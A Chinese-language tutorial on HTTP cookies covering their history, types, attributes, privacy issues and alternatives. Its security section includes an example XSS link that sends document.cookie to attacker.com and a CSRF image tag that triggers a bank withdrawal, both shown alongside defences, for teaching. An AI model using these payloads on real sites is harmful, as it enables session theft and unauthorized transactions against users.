前端必備HTTP技能之cookie技術(shù)詳解

HTTP cookie(也稱為web cookie,網(wǎng)絡(luò)cookie,瀏覽器cookie或者簡稱cookie)是網(wǎng)站發(fā)送的一個小的數(shù)據(jù)片段,當(dāng)用戶瀏覽時,會通過用戶的瀏覽器保存在用戶的電腦上。通過Cookie這種可靠的機(jī)制,網(wǎng)站可以記錄狀態(tài)信息(例如在電商網(wǎng)站中放到購物車中的物品)或者記錄用戶的瀏覽行為(包括特殊按鈕的點(diǎn)擊,登錄或者記錄之前訪問的頁面)。也可以用來記錄用戶之前輸入的字段例如姓名,地址,密碼,信用卡號碼。

在現(xiàn)代瀏覽器中其它類型的cookie有重要的作用。可能最重要的就是權(quán)限認(rèn)證cookie,通過這種最常用的方法web服務(wù)器可以知道用戶登錄登出,以及正在登錄的賬號。如果沒有這種機(jī)制,站點(diǎn)不知道是否可以發(fā)送包含敏感信息的頁面,或者需要用戶通過登錄來驗證自身。權(quán)限認(rèn)證cookie的安全性通常依賴于站點(diǎn)的安全性以及用戶的瀏覽器,以及cookie數(shù)據(jù)是否加密。黑客可能會利用安全漏洞讀到cookie中的數(shù)據(jù),獲取訪問用戶數(shù)據(jù)的權(quán)限或者獲取擁有該cookie的站點(diǎn)的訪問權(quán)限。具體可以參看跨站請求偽造中的例子。

追蹤cookie,特別是一些第三方的追蹤cookie,經(jīng)常用來記錄個人瀏覽歷史,這種潛在的隱私問題導(dǎo)致歐盟和美國的立法者在2011年采取了行動。歐盟法律要求所有針對歐盟成員國的站點(diǎn)在用戶設(shè)備上存儲非必要cookie時必須知會用戶。

背景


名字的來源

cookie這個術(shù)語是web瀏覽器程序員Lou Montulli杜撰出來的。派生自magic cookie這個術(shù)語,這個術(shù)語是Unix程序員用來描述程序接受和發(fā)送時沒有改變的數(shù)據(jù)包。magic cookie又派生自fortune cookie,代表一種內(nèi)嵌消息。

歷史

當(dāng)Lou Montulli在1994年6月有在web通信中使用cookie的想法時,magic cookie已經(jīng)在計算機(jī)中使用了。那時他是網(wǎng)景通訊的一名員工,正在為MCI公司開發(fā)一種電子商務(wù)程序。Vint CerfJohn Klensin作為MCI公司的技術(shù)代表和網(wǎng)景公司談判。MCI公司不希望他們的服務(wù)器保存事務(wù)狀態(tài),所以他們要求網(wǎng)景公司找一種在用戶電腦上保存狀態(tài)的方式來代替服務(wù)器保存狀態(tài)。在實現(xiàn)一個虛擬購物車時cookie提供了一種可靠的解決辦法。

同年,Montulli和John Giannandrea一起完成了網(wǎng)景瀏覽器cookie規(guī)范。1994年10月13號發(fā)布的0.9beta版本的網(wǎng)景瀏覽器支持了cookie機(jī)制。在實驗室之外第一次使用cookie是為了檢測訪問網(wǎng)景站點(diǎn)的用戶是否之前訪問過。Montulli在1995年為cookie技術(shù)申請了專利,在1998年通過。1995年10月發(fā)布的IE2也集成了cookie技術(shù)。

當(dāng)時cookie技術(shù)并不為大眾所知。cookie是默認(rèn)接受的,不會通知用戶cookie的存在。直到1996年2月12號金融時報上刊登了一篇了關(guān)于cookie的介紹,大眾才逐漸知道這項技術(shù)。同年cookie受到了很多媒體關(guān)注,主要是因為存在潛在隱私問題。在1996年和1997年兩次美國聯(lián)邦貿(mào)易委員會的聽證會上都討論過cookie。

正式的cookie規(guī)范開發(fā)也在持續(xù)的進(jìn)行中。在1995年4月的www-talk郵件組中第一次討論了一份正式的規(guī)范。IETF也成立了特別的工作組。兩種介紹HTTP事務(wù)狀態(tài)的可選方案被Brian Behlendorf和David Kristol分別提出來。但是Kristol和Lou Montulli領(lǐng)導(dǎo)的工作組,很快決定利用網(wǎng)景的規(guī)范作為一個起點(diǎn)。在1996年2月,工作組確認(rèn)第三方的cookie是一個相當(dāng)大的隱私威脅。工作組最終在1997年2月的RFC 2109中發(fā)布了正式的規(guī)范。其中規(guī)定第三方cookie要么都不允許,要么默認(rèn)禁用。

當(dāng)時有廣告公司已經(jīng)開始利用第三方cookie。網(wǎng)景瀏覽器和IE瀏覽器都沒有遵循RFC 2109中推薦的關(guān)于第三方cookie的規(guī)范。2000年10月RFC 2965代替了RFC 2109。

最終使用的cookie規(guī)范是2011年四月發(fā)布的RFC 6265

術(shù)語


Session cookie

也稱為內(nèi)存cookie或者瞬時cookie,只存在用戶瀏覽站點(diǎn)時的內(nèi)存中。當(dāng)用戶關(guān)閉瀏覽器時,瀏覽器通常會刪除session cookies。不像其他cookies,session cookies沒有分配過期時間,作為session cookie瀏覽器會自己管理它。

持久性cookie

不像session cookie在瀏覽器關(guān)閉時就會過期那樣,持久性cookie是到一個特定日期過期或者過來一段時間過期。這就意味著,在cookie的整個生命周期(創(chuàng)建cookie時可以指定其生命周期),每次用戶訪問cookie所屬站點(diǎn)時,或者每次用戶在其他站點(diǎn)訪問cookie所屬站點(diǎn)的資源(例如廣告)時,cookie所攜帶的信息都會被發(fā)送到服務(wù)端。

由于這個原因,持久性cookie有時被稱為追蹤cookie,因為廣告系統(tǒng)可以利用它記錄用戶在一段時間內(nèi)的網(wǎng)頁瀏覽習(xí)慣信息。當(dāng)然,使用它也有一些“正當(dāng)”理由,例如保持用戶的登錄狀態(tài),避免每次訪問的再次登錄。

如果過期時間到了,或者用戶手動刪除了,這種cookie會被重置。

安全cookie

安全cookie只能通過安全連接傳輸(例如,https)。不能通過非安全連接傳輸(例如,http)。這樣就不太可能被竊取。在cookie中設(shè)置一個Secure標(biāo)志就可以創(chuàng)建安全cookie。

HttpOnly cookie

HttpOnly cookie不能通過客戶端api獲取到。這種限制減少了通過跨站腳本(XSS)竊取cookie的風(fēng)險。然而這種cookie也會受到跨站追蹤和跨站請求偽造攻擊。在cookie中添加HttpOnly可以創(chuàng)建這種cookie。

SameSite cookie

chrome51版本引入的一種新類型cookie,只有請求和站點(diǎn)是同源的,才會發(fā)送cookie到服務(wù)器。這種限制可以緩解攻擊,例如跨站請求偽造攻擊。在cookie中設(shè)置SameSite標(biāo)識可以創(chuàng)建這種類型的cookie。

第三方cookie

正常情況下,cookie的域?qū)傩院蜑g覽器地址欄里顯示的域是相同的。這種cookie稱為第一方cookie。然而第三方cookie不屬于瀏覽器地址欄顯示的域中。這種cookie通常出現(xiàn)在web頁面有外部站點(diǎn)內(nèi)容時的情況中,例如廣告系統(tǒng)。這就提供了一個潛在的能力來追蹤用戶的瀏覽歷史,廣告系統(tǒng)通常會利用這個來給每個用戶推薦相關(guān)的廣告信息。

例如,假設(shè)用戶訪問了www.example.com,這個站點(diǎn)包含ad.foxytracking.com的廣告,當(dāng)這個廣告加載時,會設(shè)置一個屬于廣告所在域(ad.foxytracking.com)的cookie。然后用戶訪問另一個站點(diǎn),www.foo.com,這個站點(diǎn)也包含來自ad.foxytracking.com的廣告,這個廣告也會設(shè)置一個屬于ad.foxytracking.com域的cookie。最終,所有這些cookie會發(fā)送給廣告主,當(dāng)用戶加載他們的廣告或者訪問他們的網(wǎng)站時。然后廣告主就可以利用這些cookie統(tǒng)計出用戶的瀏覽記錄,當(dāng)然瀏覽記錄里面的站點(diǎn)必須要包含廣告主的廣告。也就是廣告主可以利用這些cookie知道你訪問了那些包含他們廣告的站點(diǎn)。

截止到2014有些站點(diǎn)設(shè)置了多達(dá)100多個第三方域的cookie。平均來講,一個單獨(dú)的站點(diǎn)設(shè)置10個cookie,最大數(shù)量也可以達(dá)到800多個,包括第一方或者第三方的cookie。

大部分的現(xiàn)代瀏覽器都有隱私設(shè)置可以禁止第三方cookie。

Supercookie

supercookie是來自于頂級域名(例如.com)或者有公共后綴(例如.co.uk)的cookie。普通cookie是來自于一個特定域名,例如example.com

supercookie是一個潛在的安全威脅,所以經(jīng)常被瀏覽器默認(rèn)禁止的。如果瀏覽器不禁止,控制惡意站點(diǎn)的攻擊者可以設(shè)置一個supercookie,干擾或者冒充合法的用戶向其他共享頂級域名或者公共后綴的站點(diǎn)的請求。例如,來自.com的supercookie可以惡意影響example.com的請求,即便這個cookie并不是來自于example.com。可以用來偽造登錄或者修改用戶信息。

公共后綴幫助降低supercookie帶來的風(fēng)險。公共后綴是一個跨廠商的倡議,目標(biāo)是為了提供一個準(zhǔn)確的最新的域名后綴列表。舊版本瀏覽器可能沒有一份最新的列表,會容易受到來自某些域的supercookie的威脅。

"supercookie"的術(shù)語有時會被用來描述某些不通過HTTP cookie的追蹤技術(shù)。兩個這樣的"supercookie"機(jī)制在2011年的微軟站點(diǎn)被發(fā)現(xiàn)了:機(jī)器標(biāo)識碼cookie和ETag cookie,由于媒體的關(guān)注,微軟禁止了這樣的cookie。

Zombie cookie

zombie cookie是指被刪除后可以自動再創(chuàng)建的cookie。通過把cookie內(nèi)容存儲在多個地方實現(xiàn),例如flash的本地共享對象,H5的網(wǎng)頁存儲,其他客戶端甚至服務(wù)端位置。當(dāng)缺失的cookie被檢測到,就會利用存儲在這些位置的數(shù)據(jù)重新創(chuàng)建cookie。

結(jié)構(gòu)


cookie包含下面的部分:

1.Name

2.Value

3.0個或多個屬性(鍵值對)。屬性存儲的信息包括cookie的有效期,域,標(biāo)志(例如 SecureHttpOnly)

使用


session管理

cookie最初被引入的原因是為了在用戶瀏覽器購物網(wǎng)站,確定付款前,記住用戶已經(jīng)選購的物品,實現(xiàn)類似于購物車的功能。然而如今,用戶購物車的內(nèi)容通常存儲在服務(wù)端的數(shù)據(jù)庫中,而不是客戶端的cookie中。為了追蹤那個用戶對應(yīng)著那個購物車,服務(wù)端會發(fā)送一個cookie到客戶端,cookie中包含一個唯一的session id(通常,是一長串隨機(jī)字母和數(shù)字)。因為cookie會被每個客戶端的請求發(fā)送到服務(wù)端,這樣的話用戶每次訪問新頁面session id都會被發(fā)送到服務(wù)端,這樣服務(wù)端就可以知道用戶是哪個購物車了。

另一個用法就是登陸站點(diǎn)。當(dāng)用戶訪問站點(diǎn)的登陸頁面,服務(wù)器通常會給客戶端發(fā)送一個包含唯一session id的cookie。當(dāng)用戶成功登陸后,服務(wù)端記住那個特殊的session id已經(jīng)被授權(quán)了,然后授權(quán)用戶訪問它的服務(wù)。

由于session cookie只包含一個唯一的session id,這樣站點(diǎn)為每個用戶保存的個人信息數(shù)量幾乎沒有限制了。session cookie也有助于提升頁面加載速度,因為session cookie中的信息量不大,需要的帶寬小。

個性化

cookie可以用來記錄用戶信息,然后展示相關(guān)內(nèi)容給用戶。例如,web服務(wù)器可能會發(fā)送一個包含用戶上次登錄站點(diǎn)使用的用戶名的cookie,這樣客戶端在用戶下次登錄的時候,可以利用這個cookie中的信息填充相關(guān)頁面。

許多站點(diǎn)是利用用戶的偏好來做個性化。用戶在頁面表單選擇偏好,然后把表單提交給服務(wù)端。服務(wù)端把這些偏好編碼到cookie中,然后把cookie發(fā)給瀏覽器。這種方式在用戶每次訪問站點(diǎn)網(wǎng)頁時,服務(wù)端可以根據(jù)用戶偏好個性化頁面展示。例如google搜索引擎利用cookie允許用戶選擇在搜索結(jié)果頁面一次可以看到多少個搜索結(jié)果。

追蹤

追蹤cookie被用來追蹤用戶的頁面瀏覽習(xí)慣。這個作用在一定程度上也可以用請求頁面的IP地址或者HTTP請求頭中的referer字段來實現(xiàn),但是使用cookie可以記錄的更精確。下面兩點(diǎn)可以證明:

1.如果用戶請求一個站點(diǎn)的頁面,但是請求不包含cookie,服務(wù)端假定是用戶第一次訪問這個頁面。所以服務(wù)端創(chuàng)建了一個唯一的標(biāo)識符(通常是一串隨機(jī)字母和數(shù)字),然后隨請求頁面把cookie發(fā)給瀏覽器。

2.從現(xiàn)在開始,這個站點(diǎn)每次新頁面訪問時,瀏覽器都會把cookie發(fā)給服務(wù)端。服務(wù)端正常返回頁面,但是會在一個日志文件中存儲頁面的url,請求的日期以及cookie。

通過分析這個日志文件,可以找出用戶訪問了那個頁面,訪問頻次以及訪問多長時間。

公司通過追蹤cookie利用用戶的網(wǎng)絡(luò)習(xí)慣搜集用戶的購買習(xí)慣信息。

實現(xiàn)


cookies是任意的數(shù)據(jù)塊,通常由服務(wù)端先發(fā)送,然后由瀏覽器保存在客戶端電腦上。瀏覽器會在每個請求時把它們發(fā)給服務(wù)端,給原本無狀態(tài)的HTTP事務(wù)引入狀態(tài)。如果沒有cookie,站點(diǎn)里面的每個頁面或者頁面里面的組件的獲取都會是獨(dú)立的事件,很大程度上和所有其他頁面么有關(guān)聯(lián)。盡管通常是服務(wù)端發(fā)送cookie,客戶端也可以通過js腳本設(shè)置cookie(除非cookie被設(shè)置了HttpOnly屬性,這樣話js腳本就不能修改cookie了)。

cookie規(guī)范要求瀏覽器必須滿足下面的要求才能支持cookie:

  • 可以支持最多4096個字節(jié)長度
  • 每個域最少可以支持50個cookie
  • 總共可以支持最少3000個cookie
設(shè)置cookie

使用HTTP頭中的Set-Cookie屬性設(shè)置cookie,然后在服務(wù)端響應(yīng)中發(fā)送。這個頭會讓瀏覽器保存cookie,然后在后續(xù)的請求中重新發(fā)送給服務(wù)端(如果瀏覽器不支持cookie或者禁用了cookie,會忽略這個頭的)。

下面的例子,瀏覽器發(fā)送第一個請求,請求www.example.org站點(diǎn)的首頁:

GET /index.html HTTP/1.1
Host: www.example.org

服務(wù)端以兩個Set-Cookie頭響應(yīng):

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT

服務(wù)端的HTTP響應(yīng)中包含站點(diǎn)的首頁。但是它仍會讓瀏覽器設(shè)置兩個cookie。第一個,"theme",被當(dāng)做是一個session cookie,因為它沒有Expires或者Max-Age屬性。當(dāng)瀏覽器關(guān)閉的時候,瀏覽器會刪掉Session cookie。第二個,”sessionToken",被當(dāng)成是一個持久性cookie,因為它包含一個Expires屬性,這個屬性會讓瀏覽器在指定時間內(nèi)刪除cookie。

接下來瀏覽器發(fā)送另一個請求訪問spec.html頁面。這個請求包含一個CookieHTTP頭,里面有服務(wù)端設(shè)置的兩個cookie:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…

通過這種方式服務(wù)端知道這個請求和上個頁面有關(guān)。服務(wù)端會返回請求頁面,可能會在響應(yīng)中包含更多的Set-Cookie頭為了增加新的cookie,修改已存在的cookie或者刪除cookie。

服務(wù)端可以通過在請求的響應(yīng)中包含Set-Cookie頭的方式修改cookie的值。瀏覽器就會用新的cookie替換掉舊的值。

cookie的值可以是任意的可打印ASCII字符,但是不包括,;以及空白字符。cookie的名稱也不包括這些字符,還有=,因為=是用來分隔名稱和值的。cookie的RFC 2965標(biāo)準(zhǔn)更嚴(yán)格,沒有被瀏覽器全部實現(xiàn)。

cookie也可以通過腳本語音在瀏覽器端設(shè)置。在js中,document.cookie對象就是用來干這個事情的。例如,document.cookie="temperature=20"將會創(chuàng)建一個名稱為"temperature"值為"20"的cookie。

Cookie屬性

除了名稱和值之外,cookie也可以有其他更多的屬性。瀏覽器發(fā)送到服務(wù)端的cookie不包含屬性,只有鍵值對。cookie的屬性被瀏覽器用來決定何時刪除cookie,阻塞cookie或者是否發(fā)送cookie到服務(wù)端。

Domain和Path

DomainPath屬性定義了cookie的范圍。本質(zhì)上是告訴瀏覽器cookie屬于哪個站點(diǎn)。為了明顯的安全原因,cookie只能在當(dāng)前資源的頂級域名或者子級域名上設(shè)置,不能再其他域名和對應(yīng)的子級域名上設(shè)置。例如,example.org站點(diǎn)不能設(shè)置一個domain是foo.com的cookie,因為不會允許example.org站點(diǎn)去控制foo.com的cookie。

如果cookie的DomainPath屬性沒有被服務(wù)端指定,它們默認(rèn)是當(dāng)前請求資源的domain以及path。然而,在大多數(shù)瀏覽器中,foo.com中的cookie沒有設(shè)置domain和設(shè)置了domain屬性是有區(qū)別的。在前一種情況下,cookie只會被發(fā)送foo.com的請求。在后一種情況下,所有的子域都會包含這個cookie(例如,docs.foo.com),IE中這條規(guī)則是例外的,在IE中這兩種情況cookie都會被發(fā)送給所有的子域。

下面就是一個用戶登錄之后站點(diǎn)發(fā)送的響應(yīng)中包含Set-Cookie的例子。HTTP請求是發(fā)送到docs.foo.com子域的:

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…

第一個cookie,LSID沒有Domain屬性,有一個Path屬性被設(shè)置成了/accounts。這告訴瀏覽器只有當(dāng)請求頁面包含在docs.foo.com/accounts下時才返回這個cookie。另外兩個cookie,HSIDSSID,在瀏覽器請求任何.foo.com的子域的任何路徑時都不會返回。簽名的點(diǎn)在最新的標(biāo)準(zhǔn)是可選的。

Expires和Max-Age

Expires屬性定義了一個指定的日期和時間,到了這個日期或時間時,瀏覽器應(yīng)該刪掉cookie。日期和時間的指定格式是Wdy, DD Mon YYYY HH:MM:SS GMT或者Wdy, DD Mon YY HH:MM:SS GMT,其中YY的值大于等于0小于等于69。

作為一種選擇,Max-Age屬性可以用來設(shè)置cookie的有效期,以相對于瀏覽器接收到cookie之后的秒數(shù)來計算。下面就是一個當(dāng)用戶登錄之后從站點(diǎn)接收到的三個Set-Cookie頭的例子:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

第一個cookie,lu被設(shè)置在2013年1月15日過期。它會被瀏覽器一直用到那個設(shè)置的時間。第二個cookie,made_write_com沒有設(shè)置有效期,所以它是個session cookie,當(dāng)用戶關(guān)閉瀏覽器時,會刪除這個cookie。第三個cookie,reg_fb_gate值被改成了"deleted",并且有一個過去的有效期。瀏覽器會刪除這個cookie,因為它的有效期已經(jīng)過去了。注意只有'Set-Cookie'中的domain和path屬性匹配cookie被創(chuàng)建時的值時,才能被刪除。

Secure和HttpOnly

SecureHttpOnly屬性沒有關(guān)聯(lián)的值。相當(dāng)于只要顯示了他們的屬性名就表示支持他們的行為。

Secure屬性意味著把cookie通信限制在加密傳輸中,指示瀏覽器只能通過安全/加密連接使用cookie。然而如果一個web服務(wù)器在非安全連接中給cookie設(shè)置了一個secure屬性,這個cookie在發(fā)送給用戶時仍然可以通過中間人攻擊攔截到。因此,為了安全必須通過安全連接設(shè)置cookie的Secure屬性。

HttpOnly屬性指示瀏覽器除了HTTP/HTTPS請求之外不要顯示cookie。這意味著這種cookie不能在客戶端通過腳本獲取,因此也不會輕易的被跨站腳本竊取。

瀏覽器設(shè)置


大部分瀏覽器都支持cookie,并且允許用戶禁止掉他們。下面是一些常用的選項:

  • 完全允許或者禁止cookie,以便瀏覽器總是接受或者總是阻止cookie
  • 通過cookie管理器查看或者刪除cookie
  • 徹底清除所有的隱私數(shù)據(jù),包括cookie

隱私和第三方cookie


cookie對于網(wǎng)絡(luò)用戶的隱私和匿名性上面有重要的意義。而cookie只會發(fā)送給設(shè)置它們的服務(wù)器或者在同一域下的服務(wù)器,一個web頁面可能包含托管在不同域上的圖片或者組件。在獲取這些組件時設(shè)置的cookie被稱為* 第三方cookie *。老的cookie標(biāo)準(zhǔn)指定瀏覽器應(yīng)該保護(hù)用戶隱私,默認(rèn)情況下不能再服務(wù)端共享cookie。然而新的標(biāo)準(zhǔn)明確的允許用戶代理實現(xiàn)任何第三方cookie期望的行為。大部分瀏覽器,例如Firefox,IE,Opera和Chrome默認(rèn)情況下允許第三方cookie,只要第三方站點(diǎn)聲明了隱私策略。新版的Safari阻止了第三方cookie。

廣告公司使用第三方cookie在不同站點(diǎn)追蹤用戶。尤其是,廣告公司可以追蹤用戶訪問的所有頁面,只要這些頁面有它們投放的廣告圖片。知道用戶訪問的頁面,廣告公司就可以根據(jù)用戶偏好投放廣告。

網(wǎng)站運(yùn)營者如果不關(guān)閉第三方cookie,當(dāng)消費(fèi)者使用cookie的記錄被發(fā)現(xiàn)時就會遭受信任危機(jī)。明確的聲明(例如在一份隱私協(xié)議里)可以消除類似的負(fù)面影響。

構(gòu)建用戶畫像可能是一個隱私威脅,特別是追蹤是利用第三方cookie在不同域上完成的。由于這個原因,某些國家對cookie有相應(yīng)的立法。

cookie竊取和session劫持


大部分站點(diǎn)使用cookie作為用戶session的唯一標(biāo)識,因為其他標(biāo)識web用戶的方法有局限性以及漏洞。如果一個網(wǎng)站用戶的cookie作為session標(biāo)識,攻擊者可以模擬用戶請求通過竊取受害者的cookie設(shè)置。從服務(wù)端來看,攻擊者發(fā)出的請求有和受害者請求一樣的授權(quán),所以這種請求就會被執(zhí)行。

下面列出了多種cookie竊取以及session劫持的場景,主要是對完全依賴http cookie標(biāo)識用戶的站點(diǎn)起作用。

網(wǎng)絡(luò)竊聽

網(wǎng)絡(luò)流量可以被攔截然后被網(wǎng)絡(luò)上其他電腦而不僅僅只是發(fā)送者和接受者讀取到(特別是通過非加密的WiFi)。這些流量包括發(fā)送的普通非加密HTTP session中的cookies。在網(wǎng)絡(luò)流量么有加密的地方,攻擊者可以讀取到網(wǎng)絡(luò)上其他用戶的通信內(nèi)容,包括HTTP cookies以及整個對話內(nèi)容,可以實現(xiàn)中間人攻擊的目的。

攻擊者可以使用攔截的cookie冒充用戶然后執(zhí)行惡意操作,例如從受害者的銀行賬戶中轉(zhuǎn)移現(xiàn)金。

這個問題可以通過在用戶電腦和服務(wù)端實現(xiàn)安全傳輸層協(xié)議(HTTPS協(xié)議)加密連接來解決。服務(wù)端在設(shè)置cookie時,可以指定一個Secure標(biāo)識,這樣瀏覽器在發(fā)送cookie時會通過加密通道發(fā)送,例如一個SSL連接。

發(fā)布假的子域:DNS緩存污染

如果一個攻擊者可以讓DNS服務(wù)緩存一個捏造的DNS條目(稱為DNS緩存污染),這樣攻擊者可以獲得訪問用戶cookie的權(quán)限。例如,攻擊者可以利用DNS緩存污染創(chuàng)造一個捏造的DNS條目:f12345.www.example.com指向攻擊者服務(wù)器的IP地址。然后攻擊者可以從他的服務(wù)器請求一個圖片url(例如,http://f12345.www.example.com/img_4_cookie.jpg)。受害者讀取到攻擊者信息后會從f12345.www.example.com下載這張圖片。由于f12345.www.example.comwww.example.com的子域,受害者的瀏覽器將會把所有example.com相關(guān)的cookies發(fā)送到攻擊者服務(wù)器。

如果一個攻擊者有能力獲取這些,只能說明是域名服務(wù)提供商的錯誤,因為不能正確保護(hù)他們的DNS服務(wù)器。然而如果目標(biāo)站點(diǎn)采用了安全cookie,可以降低這種攻擊的嚴(yán)重程度。在使用了安全cookie的情況下,攻擊者還有一個額外的挑戰(zhàn),那就是從證書機(jī)構(gòu)獲取目標(biāo)站點(diǎn)的SSL證書,因為安全cookie只能通過安全連接傳輸。沒有匹配的SSL證書,受害者的瀏覽器將會警告攻擊者的無效證書,幫助阻止用戶訪問攻擊者的欺詐網(wǎng)站以及發(fā)送給攻擊者他們的cookies。

跨站腳本:cookie竊取

cookie還可以通過使用跨站腳本技術(shù)被竊取。這種情況發(fā)生在那些允許用戶發(fā)送未經(jīng)過濾的html以及js內(nèi)容的站點(diǎn)中。通過發(fā)布惡意的html和js代碼,攻擊者可以利用受害者的瀏覽器發(fā)送受害者的cookie到攻擊者控制的站點(diǎn)。

例如,一個攻擊者可能在www.example.com上發(fā)布了下面的鏈接:


<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

當(dāng)其他用戶點(diǎn)擊了這個鏈接,瀏覽器執(zhí)行了其中的代碼段,這樣document.cookie字符串會被當(dāng)前頁面獲取到的cookies列表替換。結(jié)果就是cookie列表就被發(fā)送到attacker.com服務(wù)器。如果攻擊者的惡意發(fā)布是在一個HTTPS站點(diǎn)https://www.example.com,安全cookie同樣也會被發(fā)送到attacker.com

過濾這些惡意的代碼是站點(diǎn)開發(fā)者應(yīng)盡的職責(zé)。

類似的攻擊可以利用HttpOnly cookies來減輕。這些cookie不能被客戶端腳本獲取到,因此攻擊者不能得到這些cookie。

跨站腳本:代理請求

在很多舊版本的瀏覽器中,都存在這種安全漏洞允許攻擊者利用客戶端的XMLHttpRequest的API發(fā)起一個代理請求。例如,一個受害者正在閱讀攻擊者在www.example.com站點(diǎn)上發(fā)布的內(nèi)容,攻擊者的腳本在受害者的瀏覽器中執(zhí)行。腳本執(zhí)行產(chǎn)生一個代理服務(wù)器www.attacker.comwww.example.com的請求。由于請求是指向www.example.com,所有example.com的cookie將會隨請求一起發(fā)送,但是都經(jīng)過攻擊者的代理服務(wù)器。因此攻擊可以獲取到受害者的cookie。

這種攻擊對安全cookie不生效,因為他們只能通過HTTPS鏈接傳輸,HTTPS協(xié)議規(guī)定的是端到端的加密(例如,信息在用戶瀏覽器上加密,然后在目標(biāo)服務(wù)器上解密)。在這種情況下,代理服務(wù)器只能看到HTTP請求中的未經(jīng)加工的加密的字節(jié)。

跨站請求偽造

例如,Bob可能瀏覽了一個聊天論壇,里面另一個用戶,Mallory發(fā)布了一條消息,假設(shè)Mallory精巧的制作一個image標(biāo)簽,引用指向Bob的銀行站點(diǎn)而不是一個圖片文件,例如:


![](http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory)

如果Bob的銀行在cookie中保存了他的認(rèn)證信息,而且cookie還沒有過期,然后Bob的瀏覽器嘗試加載這個圖片的時候,將會發(fā)送一個取款操作,從他的cookie中,授權(quán)了這次事務(wù),盡管沒有Bob的確認(rèn)。

cookies的缺點(diǎn)


除了隱私問題,cookie還有其他的技術(shù)缺陷。特別是它不能總是精確的標(biāo)識用戶,它可以被用來進(jìn)行安全攻擊,而且還與REST軟件設(shè)計風(fēng)格相悖。

錯誤識別

如果一臺電腦上使用多了瀏覽器,那么每個瀏覽器都會給cookie一個單獨(dú)的存儲空間。因此cookie不是標(biāo)識一個人,而是作為一個用戶賬號,一臺電腦,一個瀏覽器之間的連接。因此任何使用多個賬號多臺電腦以及多個瀏覽器的用戶都會有多個cookie。

同樣的,cookie不能區(qū)分共享一個賬號一臺電腦一個瀏覽器的多個用戶。

客戶端和服務(wù)端不一致的狀態(tài)

使用cookie可能在客戶端狀態(tài)和存儲在cookie中的狀態(tài)之間產(chǎn)生不一致性。如果用戶取得了一個cookie,然后點(diǎn)擊了瀏覽器的返回按鈕,然后瀏覽器的狀態(tài)通常不會和之前獲取的狀態(tài)一樣了。例如,如果一個網(wǎng)上商城的購物車用cookie來實現(xiàn)的,在用戶回退瀏覽器歷史時,購物車?yán)锩娴膬?nèi)容可能不會改變,如果用戶按了一個按鈕往購物車?yán)锩嫣砑恿艘粋€物品,然后點(diǎn)擊了瀏覽器的返回按鈕,這個新增的物品還會保留在購物車中。這可能不是用戶的意圖,用戶可能只想撤銷之前選擇新物品的操作。這可能導(dǎo)致不可靠、混亂和錯誤。所以web開發(fā)者應(yīng)該注意這個問題,想到方法處理類似的問題。

cookie的替代方案


有些可以使用cookie實現(xiàn)的方案也可以使用其他機(jī)制實現(xiàn)。

JSON Web Tokens

JSON Web Token(JWT)是一個自包含的信息包,可以用來存儲用戶標(biāo)識以及認(rèn)證信息。可以被用來代替session cookie。和cookie自動附加到每個HTTP請求的方式不一樣,JWTs必須被web應(yīng)用明確指定附加到那個HTTP請求上。

HTTP 認(rèn)證

HTTP包含基本認(rèn)證以及摘要認(rèn)證協(xié)議,利用這些協(xié)議只有在提供了正確的用戶名和密碼后才能訪問到web頁面。如果服務(wù)端需要類似的認(rèn)證信息來確保web頁面的訪問權(quán)限,那么瀏覽器每次頁面請求的時候都要發(fā)送這些認(rèn)證信息。這些認(rèn)證信息也可以用來追蹤用戶。

IP 地址

有些用戶可能會被基于訪問頁面的電腦IP地址追蹤過,服務(wù)端知道當(dāng)前正在運(yùn)行瀏覽器的電腦的IP地址,理論上可以對這個IP地址關(guān)聯(lián)一個用戶session。

然后IP地址通常不是一個可靠的追蹤session或者標(biāo)識用戶的方法。許多電腦設(shè)計的時候就是為了讓一個單獨(dú)用戶使用的,例如辦公PC,家庭PC會在網(wǎng)絡(luò)地址轉(zhuǎn)換協(xié)議下共享一個公共的IP地址。而且某些系統(tǒng),例如Tor設(shè)計的時候就是為了保持匿名性的,利用IP地址追蹤用戶顯然是不合適的,也是不可能的。

URL 查詢字符串

一個更精確的技術(shù)是基于URL中嵌入信息。URL中的查詢字符串部分通常就是為了實現(xiàn)這個目的的,當(dāng)然也可以使用其他部分。Java Servlet和PHP session機(jī)制都是使用這種機(jī)制,如果cookie被禁止了。

這種方法由服務(wù)端在web頁面的所有鏈接中追加包含一個獨(dú)立session標(biāo)識的查詢字符串組成。當(dāng)用戶點(diǎn)擊了其中了一個鏈接,瀏覽器把查詢字符串傳給服務(wù)端,允許服務(wù)端識別用戶維持狀態(tài)。

這些類型的查詢字符串非常像cookie,都包含任意的信息供服務(wù)端選擇,都會隨請求返回給服務(wù)端。然而其中還是有點(diǎn)不同的。由于查詢字符串是URL中的一部分,如果URL后面被重復(fù)發(fā)送了,那么上面附加的相同信息將會被發(fā)送到服務(wù)端,這樣可能會產(chǎn)生混亂。例如,如果用戶的偏好信息被放在了查詢字符串中,用戶把這個url通過郵件發(fā)給了另一個用戶,那么這些偏好信息就會變成另一個用戶的。

